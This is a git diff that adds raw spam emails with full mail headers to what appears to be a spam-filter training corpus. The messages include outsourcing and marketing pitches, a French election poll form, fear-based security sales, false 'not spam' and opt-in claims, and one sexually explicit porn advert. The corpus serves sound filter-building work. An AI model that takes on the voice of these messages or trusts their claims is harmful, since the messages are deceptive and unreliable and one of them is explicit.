+ITALIAN MINISTRY OF FINANCE - Data acquisition +from images of medical prescription. + +IQ REGISTER - Acquisition of information from images +and optics archives of documentation. + +* We had been offering for the entire Veneto Region, + the following professional system engineers: + +AMBIENTE BULL GCOS 8: Systematical and special assistance +in Interel RFM, SQL, Infoedge. + +AMBIENTE BULL/RETI: Systematical and special assistance +of regional networks for Datanet, L.A.N., X.25, +DSA, MAINWAY transmission, telematical networks. + +AMBIENTE UNIX: 2 UNIX system operators with knowledge of GCOS 6. + +* We have been offering for THE METEOROLOGY INSTITUTE OF PADOVA + the following professional system engineers: + +AMBIENTE DIGITAL/UNIX: Systematical and special assistance +for DEC VAX/VMS and UNIX systems with strong enough knowledge +of Informix and C programming. + +AMBIENTE/DECNET/WINDOWS: Systematical and special assistance +for DEC VAX/VMS and WINDOWS with knowledge in financial administration +of local networks, in financial administration and configuration of +communication systems (router, bridge, gateway, etc) and of products +of exchange data, in financial administration and configuration of +interface systems of Internet. + +******************************************************** + +Therefore, to increase our presence to the international +market we took part in the inter-governmental program +between the United States and Romania. + +Thus, we participated to the international meeting of both +Romanian and American IT companies on 1st November 2001 due +to the kind initiative of both governments. + +The reason of this program, of the meeting mentioned above and of the +initiatives that followed was to offer a new way for outsourcing, +more convenient than the Indian one to American software companies. + +Our company, already present on American market, is interested to be +a potential partner and one of most interested in cooperating with +American IT companies. + +Our main interest is both on the American and European market. + +Our managing staff after visiting Italy managed to establish relations +with this country for our curent projects. + +On the other side a marketing tour has already been established +in the USA in the month of May for any possible projects. + +That is why we might be able to directly discuss with you any new project. + +We'd appreciate your feed-back containing detailed contact coordinates: +company name, address, phone and fax numbers, contact person, web-site. + + Our Area of Interest: Software Production Export + We wish to express our availability to work under the client's brand. + +PLEASE DON'T HESITATE TO SEND US YOUR SPECIFIC INQUIRY/OFFERING DEMAND. + + We'll be happy to provide you the lowest prices in the field. + + Thanking you for your time and looking forward to your reply, + we wish you all the best. + +I.Q. Software Staff + +_______________________________________________ +Avfs mailing list +Avfs@csibe.fazekas.hu +http://www.fazekas.hu/mailman/listinfo/avfs diff --git a/bayes/spamham/spam_2/00205.ee9ba1e4fc09cb436f0d0983ecef87cf b/bayes/spamham/spam_2/00205.ee9ba1e4fc09cb436f0d0983ecef87cf new file mode 100644 index 0000000..2cee3a5 --- /dev/null +++ b/bayes/spamham/spam_2/00205.ee9ba1e4fc09cb436f0d0983ecef87cf @@ -0,0 +1,27 @@ +From reply-56446664-3@william.monsterjoke.com Mon Jun 24 17:46:55 2002 +Return-Path: bounce-56446664-3@boris.free4all.com +Delivery-Date: Tue Apr 23 04:10:22 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g3N3AL606588 for + ; Tue, 23 Apr 2002 04:10:21 +0100 +Received: from boris.free4all.com (boris.free4all.com [80.64.131.42]) by + mandark.labs.netnoteinc.com (8.11.2/8.11.2) with SMTP id g3N3AED23757 for + ; Tue, 23 Apr 2002 04:10:15 +0100 +Message-Id: <200204230310.g3N3AED23757@mandark.labs.netnoteinc.com> +Content-Disposition: inline +MIME-Version: 1.0 +Date: Tue, 23 Apr 2002 02:09:43 UT +X-X: *,RTU-C0T-C8V-``` +Subject: Is Neotropin right for you? +X-List-Unsubscribe: +From: "Joke-of-the-Day!" +Reply-To: "Joke-of-the-Day!" +X-Stormpost-To: yyyy@netnoteinc.com 56446664 3 +To: "yyyy@netnoteinc.com" +X-Mailer: StormPost 1.0 +X-Keywords: +Content-Type: text/html +Content-Transfer-Encoding: 7bit + +


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    + diff --git a/bayes/spamham/spam_2/00206.434bca9a9918edbdb04b93f6618adf90 b/bayes/spamham/spam_2/00206.434bca9a9918edbdb04b93f6618adf90 new file mode 100644 index 0000000..e065792 --- /dev/null +++ b/bayes/spamham/spam_2/00206.434bca9a9918edbdb04b93f6618adf90 @@ -0,0 +1,57 @@ +From info@hi-mind.com Mon Jun 24 17:47:00 2002 +Return-Path: info@hi-mind.com +Delivery-Date: Tue Apr 23 23:46:36 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g3NMkZ618325 for + ; Tue, 23 Apr 2002 23:46:35 +0100 +Received: from mel-rto1.wanadoo.fr (smtp-out-1.wanadoo.fr + [193.252.19.188]) by mandark.labs.netnoteinc.com (8.11.2/8.11.2) with + ESMTP id g3NMkSD28488 for ; Tue, 23 Apr 2002 23:46:29 + +0100 +Received: from mel-rta7.wanadoo.fr (193.252.19.61) by mel-rto1.wanadoo.fr; + 24 Apr 2002 00:46:22 +0200 +Received: from himind01 (193.252.195.142) by mel-rta7.wanadoo.fr (6.5.007) + id 3CBAA820003D6FED for jm@netnoteinc.com; Wed, 24 Apr 2002 00:46:22 +0200 +Date: Wed, 24 Apr 2002 00:46:22 +0200 (added by postmaster@wanadoo.fr) +Message-Id: <084701c1eb19$41aa63c0$0100000a@wanadoo.fr> +From: "Hi-Mind Infos" +To: +Subject: Hi-Mind:Opt-in referencement +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +X-Mailer: Microsoft Outlook Express 5.00.2314.1300 +X-Mimeole: Produced By Microsoft MimeOLE V5.00.2314.1300 +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by dogma.slashnull.org + id g3NMkZ618325 +X-Keywords: + +>From Hi-Mind, Assembler of LCD TFT monitors, LCD TV , Plasma. +THIS IS NOT A SPAM. This is an Opt-In Opt-Out clarification. +O/ref Uk_05229 + +Dear Madam, +Dear Sir, + +You are receiving this mail as you are professionally involves in Computer, Systems and Display Business. +We are willing to inform you regularly by e-mail about Hi-Mind's products, opportunities. + +With respect to Opt-In: +1. You consider our infos can be usefull: Do not reply to this mail. + +2. You consider you our infos will be not workable. Please unsubscribe by clicking on infos@hi-mind.com?subject=Please_Unsubscribe + +3. You are curious to know more please click on: + +http://www.hi-mind.com/Promotion/LcdWebPro0402a.htm + +Best regards +S. C Svatshenk +Hi-Mind Communication + + + + + + + diff --git a/bayes/spamham/spam_2/00207.47d129a97b8ce8572c9efb4c18a74192 b/bayes/spamham/spam_2/00207.47d129a97b8ce8572c9efb4c18a74192 new file mode 100644 index 0000000..708c1dd --- /dev/null +++ b/bayes/spamham/spam_2/00207.47d129a97b8ce8572c9efb4c18a74192 @@ -0,0 +1,405 @@ +From sondageexpress3@ifrance.com Mon Jun 24 17:47:06 2002 +Return-Path: sondageexpress3@ifrance.com +Delivery-Date: Wed Apr 24 20:36:09 2002 +Received: from smtp4.9tel.net (smtp.9tel.net [213.203.124.147]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g3OJa9606593 for + ; Wed, 24 Apr 2002 20:36:09 +0100 +Received: from ifrance.com (40.105-30-212.9massy1-1-ro-as-i2-2.9tel.net + [212.30.105.40]) by smtp4.9tel.net (Postfix) with ESMTP id 844F25CA1E; + Wed, 24 Apr 2002 21:34:44 +0200 (CEST) +Message-Id: <847720024324193611984@ifrance.com> +X-Em-Version: 5, 0, 0, 21 +X-Em-Registration: #01B0530810E603002D00 +X-Priority: 3 +Reply-To: sondageexpress3@ifrance.com +To: "-" +From: "SondageExpress" +Subject: Le dernier sondage avant les élections presidentielles 2002 ! +Date: Wed, 24 Apr 2002 21:36:11 +0200 +MIME-Version: 1.0 +X-Keywords: +Content-Type: multipart/alternative; boundary="----=_NextPart_84815C5ABAF209EF376268C8" + +------=_NextPart_84815C5ABAF209EF376268C8 +Content-type: text/plain; charset="US-ASCII" + + + + + +------=_NextPart_84815C5ABAF209EF376268C8 +Content-Type: text/html; charset="US-ASCII" +Content-Transfer-Encoding: quoted-printable + + + +Untitled Document + + + + + + + + + + + + + + +
    + + + + + + +
    +
    En=20 + partenariat avec
    +     		=20 +
    <= +/div> +
    + <= +font size=3D"6">
    +      <= +/font>
    <= +b>Le=20 + dernier sondage avant le second tour des élections pré= +sidentielles=20 + 2002
    +
    +     Sondage Express réalise le dernier sondage ava= +nt le=20 + second tour des élections présidentielles=2E Les r&eac= +ute;sultats=20 + seront envoyés par e-mail à tous les participants avan= +t les=20 + 24 et 26 avril et le 3 mai 2002 à minuit par e-mail=2E= +
    +
    + Pour quel candidat allez vous voter le dimanche 5 mai 2002 ? +
    +     =20 +
    +=09 +=09 + + + + + +
    =20 + + =20 + + + +
    =20 + + =20 + + + + +
    =20 + + Jacques=20 + Chirac
    +     •=20 + Parti politique : Rassemblement pour la Ré= +;publique
    +     •=20 + Âge : 69 ans
    +     •=20 + Situation de famille : Marié et pè= +re de=20 + deux filles
    +     •=20 + Métier d'origine : Haut-fonctionnaire
    = + +     •=20 + Mandat en cours : Président de la R&eacut= +e;publique=20 + depuis 1995
    +     		=20 + + =20 + + + + +
    =20 + + Jean-Marie=20 + Le Pen
    +     •=20 + Parti politique : Front national
    +     •=20 + Âge : 73 ans
    +     •=20 + Situation de famille : Père de trois fill= +es
    +     •=20 + Métier d’origine : Chef d’entre= +prise
    +     •=20 + Mandats en cours : Député europ&ea= +cute;en=20 + depuis 1984
    +
    +        
    + + =20 + + + +
    =20 + + Je=20 + ne voterai pas
    + + =20 + + + +
    =20 + = + + NSP
    + =20 +
    +
    + + + + +
    + + =20 + + + + =20 + + +
    =20 + + Je=20 + suis certain de mon choix
    =20 + + Mon=20 + choix n'est pas encore définitif +
    +
    +
    + + + + +
    Pour=20 + quel candidat avez vous voté au 1er tour ?= +=20 + +
    +
    + + + + +
    + + =20 + + + + + + + +
    Votre=20 + civilité : =20 + + Année=20 + de naissance : =20 + + Votre=20 + situation : =20 + +
    +
    +
    + Si vous=20 + souhaitez recevoir le resultat du sondage par mail, precisez votre= + Email=20 + : + +


    + +

    + =20 +
    +
    + Attention=20 + : ce sondage non nominatif est adressé à un panel de 1= +00 000=20 + internautes=2E Il ne peut en aucun cas être considér&ea= +cute;=20 + comme représentatif de la population française et ne d= +oit=20 + en aucun cas porter une influence quelconque sur les votes ré= +els=20 + des élections présidentielles du dimanche 5 mai 2002=2E= + Aucun=20 + fichier informatique nominatif n'est constitué par Sondage Ex= +press®=2E
    + Résultat pris en compte jusqu'au vendredi 3 mai à 18h0= +0=2E
    +
    +        
    +=09
    + Pour ne=20 + plus participer aux sondages express, indiquez votre email dans le= + champs=20 + ci-dessous et validez :
    + Email :     =20 + + +
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    REMOVAL = +INSTRUCTIONS: This=20 +message is sent in compliance with the proposed BILL section 301, = +Paragraph (a)=20 +(2) (c) of S.1618. We obtain our list data from a variety of online = +sources,=20 +including opt-in lists. This email is sent by a direct email marketing = +firm on=20 +our behalf, and if you would rather not receive any further information = +from us,=20 +please CLICK HERE and simply=20 +hit "SEND" and you will be removed. In this way, you will instantly = +"opt-out"=20 +from the list your email address was obtained from, whether this was an = +"opt-in"=20 +or otherwise. Please accept our apologies if this message has reached = +you in=20 +error. Allow up to 5-10 business days for your email address to be = +removed from=20 +all lists in our control. Meanwhile, simply delete any duplicate emails = +that you=20 +may receive and rest assured that your request to be removed will be = +honored. If=20 +you have previously requested to be Removed and are still receiving this = + +message, you may email our Abuse Control Center at CLICK HERE or call us = +at 1-(888)=20 +817-9902, or write to us at: Abuse Control Center, 111 Pacifica #250, = +Irvine, CA=20 +92618.

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    + +------=_NextPart_000_0009_01C1EC40.AE23FA20-- + + diff --git a/bayes/spamham/spam_2/00209.983df148f8b7d7e5d678f1ea6297cad1 b/bayes/spamham/spam_2/00209.983df148f8b7d7e5d678f1ea6297cad1 new file mode 100644 index 0000000..e728c36 --- /dev/null +++ b/bayes/spamham/spam_2/00209.983df148f8b7d7e5d678f1ea6297cad1 @@ -0,0 +1,60 @@ +From southerngent23@hotmail.com Mon Jun 24 17:47:13 2002 +Return-Path: southerngent23@hotmail.com +Delivery-Date: Fri Apr 26 21:18:44 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g3QKIh632222 for + ; Fri, 26 Apr 2002 21:18:43 +0100 +Received: from 216.82.8.182 (pm19w.icx.net [216.82.8.182]) by + mandark.labs.netnoteinc.com (8.11.2/8.11.2) with SMTP id g3QKIaD12534 for + ; Fri, 26 Apr 2002 21:18:37 +0100 +Message-Id: <200204262018.g3QKIaD12534@mandark.labs.netnoteinc.com> +Date: Fri, 26 Apr 02 16:27:53 Eastern Daylight Time +From: "Danny Creech" +To: yyyy@netnoteinc.com +Subject: +X-Keywords: +Content-Type: multipart/mixed; boundary="------------7736744SOS1" + +--------------7736744SOS1 +Content-Type: multipart/alternative; + boundary="------------744SOS1SOS2" + + +--------------744SOS1SOS2 +Content-Type: text/plain; charset=us-ascii +Content-Transfer-Encoding: 7bit + + +To: +From: +Subject: Hello +My name is Danny Creech. I am from Knoxville, TN. Since September 11th, 2001....People have been trying to get back on their own two feet. Now is the time to protect your Home, and your Family. Today, you can receive a Free in Home Family Security System at no Cost to you!! That's right... + +$0.00..........for Equipment + +$0.00..........for Installation + + +Family Protection Fee of $29.99 a month(Covers Police, Fire, Medical, Burglary, & Home Invasion). Please take advantage of this offer!! After September 11th.......We don't need Terrorists coming into your homes at all!! +For more information, please contact Danny Creech at (865-454-5398) +--------------744SOS1SOS2 +Content-Type: text/html; charset=us-ascii +Content-Transfer-Encoding: 7bit + +To: +From: +Subject: Hello +My name is Danny Creech. I am from Knoxville, TN. Since September 11th, 2001....People have been trying to get back on their own two feet. Now is the time to protect your Home, and your Family. Today, you can receive a Free in Home Family Security System at no Cost to you!! That's right... + +$0.00..........for Equipment + +$0.00..........for Installation + + +Family Protection Fee of $29.99 a month(Covers Police, Fire, Medical, Burglary, & Home Invasion). Please take advantage of this offer!! After September 11th.......We don't need Terrorists coming into your homes at all!! +For more information, please contact Danny Creech at (865-454-5398) + + +--------------744SOS1SOS2-- +--------------7736744SOS1-- + diff --git a/bayes/spamham/spam_2/00210.2942a339c3792a1010d024e6d6ba032e b/bayes/spamham/spam_2/00210.2942a339c3792a1010d024e6d6ba032e new file mode 100644 index 0000000..0540937 --- /dev/null +++ b/bayes/spamham/spam_2/00210.2942a339c3792a1010d024e6d6ba032e @@ -0,0 +1,78 @@ +From contact@soft2reg.com Mon Jun 24 17:47:24 2002 +Return-Path: anonymous@soft2reg.com +Delivery-Date: Mon Apr 29 19:12:45 2002 +Received: from soft2reg.com (ppp151.interbgc.com [217.9.224.151]) by + dogma.slashnull.org (8.11.6/8.11.6) with SMTP id g3TICRR05647 for + ; Mon, 29 Apr 2002 19:12:42 +0100 +Received: (qmail 17117 invoked by uid 500); 29 Apr 2002 17:38:04 -0000 +Date: 29 Apr 2002 17:38:04 -0000 +Message-Id: <20020429173804.17116.qmail@soft2reg.com> +To: yyyy-palmgear@spamassassin.taint.org +Subject: ADV: Payment processing - 8% flat fee +From: contact@soft2reg.com +Reply-To: contact@soft2reg.com +X-Keywords: +Content-Type: text/html + + + + + The Soft2Reg Team + + + + + +
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    + + + diff --git a/bayes/spamham/spam_2/00211.4a52fb081c7087c4a82402342751e755 b/bayes/spamham/spam_2/00211.4a52fb081c7087c4a82402342751e755 new file mode 100644 index 0000000..39b1010 --- /dev/null +++ b/bayes/spamham/spam_2/00211.4a52fb081c7087c4a82402342751e755 @@ -0,0 +1,53 @@ +From submit94@dubaimail.com Mon Jun 24 17:05:54 2002 +Return-Path: yyyy@dogma.slashnull.org +Delivery-Date: Thu May 2 11:21:40 2002 +Received: (from yyyy@localhost) by dogma.slashnull.org (8.11.6/8.11.6) id + g42ALed09782 for jm; Thu, 2 May 2002 11:21:40 +0100 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g41Gng126518 for + ; Wed, 1 May 2002 17:49:45 +0100 +Received: from dubaimail.com (webport-cl4-cache5.ilford.mdip.bt.net + [213.1.45.2]) by mandark.labs.netnoteinc.com (8.11.2/8.11.2) with SMTP id + g41GnYD05942 for ; Wed, 1 May 2002 17:49:35 +0100 +Reply-To: +Message-Id: <033c34a00a3d$7338d6a7$5be23ed5@tmuemn> +From: +To: Website@mandark.labs.netnoteinc.com +Subject: ADV: Search Engine Placement +Date: Wed, 01 May 0102 08:40:01 +0800 +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 6.00.2462.0000 +Importance: Normal +X-Keywords: +Content-Transfer-Encoding: 8bit + +To remove see below. + +I work with a company that submits +web sites to search engines and saw +your listing on the internet. + +We can submit your site twice a month +to over 400 search engines and directories +for only $29.95 per month. + +We periodically mail you progress +reports showing where you are ranked. + +To get your web site in the fast lane +call our toll free number below! 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+ +Sincerely, + +Mike Bender +888-892-7537 + + +* All work is verified + + +To be removed call: 888-800-6339 X1377 + diff --git a/bayes/spamham/spam_2/00213.b85553a858843eabb7752c6d15aaba5a b/bayes/spamham/spam_2/00213.b85553a858843eabb7752c6d15aaba5a new file mode 100644 index 0000000..65aee1b --- /dev/null +++ b/bayes/spamham/spam_2/00213.b85553a858843eabb7752c6d15aaba5a @@ -0,0 +1,29 @@ +From reply-56446664-9@william.monsterjoke.com Mon Jun 24 17:07:56 2002 +Return-Path: yyyy@dogma.slashnull.org +Delivery-Date: Thu May 2 11:29:20 2002 +Received: (from yyyy@localhost) by dogma.slashnull.org (8.11.6/8.11.6) id + g42ATKQ10822 for jm; Thu, 2 May 2002 11:29:20 +0100 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g423FG123979 for + ; Thu, 2 May 2002 04:15:16 +0100 +Received: from william.monsterjoke.com (william.monsterjoke.com + [80.64.131.35]) by mandark.labs.netnoteinc.com (8.11.2/8.11.2) with SMTP + id g423FAD08108 for ; Thu, 2 May 2002 04:15:10 +0100 +Message-Id: <200205020315.g423FAD08108@mandark.labs.netnoteinc.com> +Content-Disposition: inline +MIME-Version: 1.0 +Date: Thu, 2 May 2002 02:12:07 UT +X-X: *.2TU-C0T-C8V-``` +Subject: You cannot do that! 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    + + diff --git a/bayes/spamham/spam_2/00219.b1e53bdc90b763f8073f3270e3f6e811 b/bayes/spamham/spam_2/00219.b1e53bdc90b763f8073f3270e3f6e811 new file mode 100644 index 0000000..d261322 --- /dev/null +++ b/bayes/spamham/spam_2/00219.b1e53bdc90b763f8073f3270e3f6e811 @@ -0,0 +1,82 @@ +From crackmice-admin@crackmice.com Wed Jul 3 12:02:46 2002 +Return-Path: +Delivered-To: yyyy@localhost.labs.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix on SuSE Linux 8.0 (i386)) with ESMTP id DD47214F8A8 + for ; Wed, 3 Jul 2002 12:02:36 +0100 (IST) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 03 Jul 2002 12:02:36 +0100 (IST) +Received: from dogma.slashnull.org (localhost [127.0.0.1]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g45Bmfu04323; + Sun, 5 May 2002 12:48:41 +0100 +Received: from friend.com ([211.21.114.156]) by dogma.slashnull.org + (8.11.6/8.11.6) with SMTP id g44Aolu11510 for ; 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Wed, 3 Jul 2002 12:32:26 +0100 (IST) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 03 Jul 2002 12:32:26 +0100 (IST) +Received: from mel-rto4.wanadoo.fr (smtp-out-4.wanadoo.fr [193.252.19.23]) + by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g476tn223877 for + ; Tue, 7 May 2002 07:55:49 +0100 +Received: from mel-rta10.wanadoo.fr (193.252.19.193) by + mel-rto4.wanadoo.fr (6.5.007) id 3CD2B96E0017DAE3; Tue, 7 May 2002 + 08:42:02 +0200 +Received: from proxyplus.universe (80.13.233.239) by mel-rta10.wanadoo.fr + (6.5.007) id 3CD0C9A7002B834A; Tue, 7 May 2002 08:42:02 +0200 +Received: from mercadobr.com [202.185.167.36] by Proxy+; Sat, + 04 May 2002 11:45:55 +0200 for multiple recipients +Message-Id: <000057ae11be$00006459$00006480@mercadobr.com> +To: +Cc: , , + , , + , , + , , + , , + , , , + , , + , , + , , + , , , + , , + , , + , , + , , + , , + , , + , , + , , + , , + , , + , , + , , + , , + , , + , , , + , , + , , + , , , + , , + , , + , , + +From: "howell@mercadobr.com" +Subject: Asian Lesbo Sluts! 22337 +Date: Sat, 04 May 2002 05:35:30 -1600 +MIME-Version: 1.0 +Content-Type: text/plain; charset="Windows-1252" +Reply-To: howell@mercadobr.com +Content-Transfer-Encoding: 7bit + + +Have you ever wondered how the hell these petite Asian girls, +with their tiny little Asian holes, can accommodate such huge +hard cocks? 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    +just +Click Here + + + + diff --git a/bayes/spamham/spam_2/00232.b5eb658434a4099746a0977a0e6cd084 b/bayes/spamham/spam_2/00232.b5eb658434a4099746a0977a0e6cd084 new file mode 100644 index 0000000..31823e1 --- /dev/null +++ b/bayes/spamham/spam_2/00232.b5eb658434a4099746a0977a0e6cd084 @@ -0,0 +1,135 @@ +From fork-admin@xent.com Wed Jul 3 12:07:44 2002 +Return-Path: +Delivered-To: yyyy@localhost.labs.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix on SuSE Linux 8.0 (i386)) with ESMTP id C72E714F8F1 + for ; Wed, 3 Jul 2002 12:04:50 +0100 (IST) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 03 Jul 2002 12:04:50 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g45KOGu22827 for ; + Sun, 5 May 2002 21:24:16 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 7C44D2940A6; Sun, 5 May 2002 13:16:45 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from wtnserver (80-25-218-178.uc.nombres.ttd.es [80.25.218.178]) + by xent.com (Postfix) with ESMTP id 41B8C294098 for ; + Sun, 5 May 2002 13:16:40 -0700 (PDT) +Received: from EI2 by wtnserver with SMTP (MDaemon.v3.1.2.R) for + ; Sun, 05 May 2002 22:16:54 +0200 +From: "The Financial News" +Subject: Production Mini-plants in mobile containers. Co-investment Program +To: fork@spamassassin.taint.org +MIME-Version: 1.0 +Date: Sun, 5 May 2002 22:15:05 +0200 +X-Priority: 3 +X-Library: Indy 8.0.22 +X-MDRCPT-To: fork@spamassassin.taint.org +X-Return-Path: newsletters@the-financial-news.com +X-Mdaemon-Deliver-To: fork@spamassassin.taint.org +Reply-To: newsletters@the-financial-news.com +Message-Id: +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Friends of Rohit Khare +X-Beenthere: fork@spamassassin.taint.org +Content-Type: multipart/alternative; boundary="=_NextPart_2rfkindysadvnqw3nerasdf"; + +This is a multi-part message in MIME format + +--=_NextPart_2rfkindysadvnqw3nerasdf +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + +The Financial News, May 2002 + +Production Mini-plants in mobile containers. Co-investment Program + +=22...Science Network will supply to countries and developing regions the technology and the necessary support for the production in series of Mini-plants in mobile=20containers (40-foot). The Mini-plant system is designed in such a way that all the production machinery is fixed on the platform of the container, with all wiring,=20piping, and installation parts; that is to say, they are fully equipped... and the mini-plant is ready for production.=22 + +More than 700 portable production systems: Bakeries, Steel Nails, Welding Electrodes, Tire Retreading, Reinforcement Bar Bending for Construction Framework,=20Sheeting for Roofing, Ceilings and Fa=E7ades, Plated Drums, Aluminum Buckets, Injected Polypropylene Housewares, Pressed Melamine Items (Glasses, Cups,=20Plates, Mugs, etc.), Mufflers, Construction Electrically Welded Mesh, Plastic Bags and Packaging, Mobile units of medical assistance, Sanitary Material,=20Hypodermic Syringes, Hemostatic Clamps, etc.=20 +Science Network has started a process of Co-investment for the installation of small Assembly plants to manufacture in series the Mini-plants of portable=20production on the site, region or country where they may be required. One of the most relevant features is the fact that these plants will be connected to the World=20Trade System (WTS) with access to more than 50 million raw materials, products and services and automatic transactions for world trade. + +Because of financial reasons, involving cost and social impact, the right thing to do is to set up assembly plants in the same countries and regions, using local=20resources (labor, some equipment, etc.) + +For more information: Mini-plants in mobile containers + +By Steven P. Leibacher, The Financial News, Editor + + +Mini-plantas de produccion en contenedores moviles. Programa de Co-inversion + +=22...Science Network suministrara a paises y regiones en vias de desarrollo la tecnologia y el apoyo necesario para la fabricacion en serie de Mini-plantas de=20produccion en contenedores moviles (40-foot). El sistema de mini-plantas esta dise=F1ado de forma que todas las maquinas de produccion van instaladas fijas=20sobre la propia plataforma del contenedor, con el cableado, tuberias e instalaciones; es decir, completamente equipadas... y a partir de ese momento est=E1n listas=20para producir.=22=20 +Mas de 700 sistemas de produccion portatil: Panaderias, Producci=F3n de clavos de acero, Electrodos para soldadura, Recauchutado de neumaticos, Curvado de=20hierro para armaduras de construccion, Lamina perfilada para cubiertas, techos y cerramientos de fachada, Bidones de chapa, Cubos de aluminio, Menaje de=20polipropileno inyectado, Piezas de melamina prensada (vasos, platos, tazas, cafeteras, etc.) Silenciadores para vehiculos, Malla electrosoldada para la=20construccion, Bolsas y envases de plastico, Unidades moviles de asistencia medica, Material sanitario (jeringas hipodermicas, Pinzas hemostaticas, etc.) + +Science Network ha puesto en marcha un proceso de Co-inversion para la instalacion de peque=F1as Plantas ensambladoras para fabricar en serie las Mini-plantas=20de produccion portatil, en el lugar, region o pais que lo necesite. Una de las caracter=EDsticas relevantes es el hecho de que dichas plantas quedaran conectadas al=20Sistema del Comercio Mundial (WTS) con acceso a mas de 50 millones de mercancias, materia primas, productos, servicios y las operaciones automaticas de=20comercio internacional.=20 +Resulta obvio que por razones economicas, de costes y de impacto social, lo apropiado es instalar plantas ensambladoras en los mismos paises y regiones asi=20como utilizar los recursos locales (mano de obra, ciertos equipamientos, etc.) + +Para recibir mas infromacion: Mini-plantas de produccion en contenedores moviles + +Steven P. Leibacher, The Financial News, Editor + +------------------------------------------------------------------------- +If you received this in error or would like to be removed from our list, please return us indicating: remove or un-subscribe in 'subject' field, Thanks. Editor +=A9 2002 The Financial News. All rights reserved. + +--=_NextPart_2rfkindysadvnqw3nerasdf +Content-Type: text/html; charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + + + + +
    +The Financial News, May 2002
    +
    +Production Mini-plants in mobile containers. Co-investment Program
    +
    +=22...Science Network will supply to countries and developing regions the technology and the necessary support for the production in series of Mini-plants in mobile containers (40-foot). The Mini-plant system is designed in such a way that all the production machinery is fixed on the platform of the container, with all wiring, piping, and installation parts; that is to say, they are fully equipped... and the mini-plant is ready for production.=22
    +
    +More than 700 portable production systems: Bakeries, Steel Nails, Welding Electrodes, Tire Retreading, Reinforcement Bar Bending for Construction Framework, Sheeting for Roofing, Ceilings and Façades, Plated Drums, Aluminum Buckets, Injected Polypropylene Housewares, Pressed Melamine Items (Glasses, Cups, Plates, Mugs, etc.), Mufflers, Construction Electrically Welded Mesh, Plastic Bags and Packaging, Mobile units of medical assistance, Sanitary Material, Hypodermic Syringes, Hemostatic Clamps, etc.
    +
    +Science Network has started a process of Co-investment for the installation of small Assembly plants to manufacture in series the Mini-plants of portable production on the site, region or country where they may be required. One of the most relevant features is the fact that these plants will be connected to the World Trade System (WTS) with access to more than 50 million raw materials, products and services and automatic transactions for world trade.
    +
    +Because of financial reasons, involving cost and social impact, the right thing to do is to set up assembly plants in the same countries and regions, using local resources (labor, some equipment, etc.)
    +
    +For more information: Mini-plants in mobile containers
    +
    +By Steven P. Leibacher, The Financial News, Editor
    +
    +
    +Mini-plantas de produccion en contenedores moviles. Programa de Co-inversion
    +
    +    =22...Science Network suministrara a paises y regiones en vias de desarrollo la tecnologia y el apoyo necesario para la fabricacion en serie de Mini-plantas de produccion en contenedores moviles (40-foot). El sistema de mini-plantas esta diseñado de forma que todas las maquinas de produccion van instaladas fijas sobre la propia plataforma del contenedor, con el cableado, tuberias e instalaciones; es decir, completamente equipadas... y a partir de ese momento están listas para producir.=22
    +
    +Mas de 700 sistemas de produccion portatil: Panaderias, Producción de clavos de acero, Electrodos para soldadura, Recauchutado de neumaticos, Curvado de hierro para armaduras de construccion, Lamina perfilada para cubiertas, techos y cerramientos de fachada, Bidones de chapa, Cubos de aluminio, Menaje de polipropileno inyectado, Piezas de melamina prensada (vasos, platos, tazas, cafeteras, etc.) Silenciadores para vehiculos, Malla electrosoldada para la construccion, Bolsas y envases de plastico, Unidades moviles de asistencia medica, Material sanitario (jeringas hipodermicas, Pinzas hemostaticas, etc.)
    +
    +Science Network ha puesto en marcha un proceso de Co-inversion para la instalacion de pequeñas Plantas ensambladoras para fabricar en serie las Mini-plantas de produccion portatil, en el lugar, region o pais que lo necesite. Una de las características relevantes es el hecho de que dichas plantas quedaran conectadas al Sistema del Comercio Mundial (WTS) con acceso a mas de 50 millones de mercancias, materia primas, productos, servicios y las operaciones automaticas de comercio internacional.
    +
    +Resulta obvio que por razones economicas, de costes y de impacto social, lo apropiado es instalar plantas ensambladoras en los mismos paises y regiones asi como utilizar los recursos locales (mano de obra, ciertos equipamientos, etc.)
    +
    +Para recibir mas infromacion: Mini-plantas de produccion en contenedores moviles
    +
    +Steven P. Leibacher, The Financial News, Editor
    +
    +-------------------------------------------------------------------------
    +If you received this in error or would like to be removed from our list, please return us indicating: remove or un-subscribe in 'subject' field, Thanks. Editor
    +© 2002 The Financial News. All rights reserved.
    +
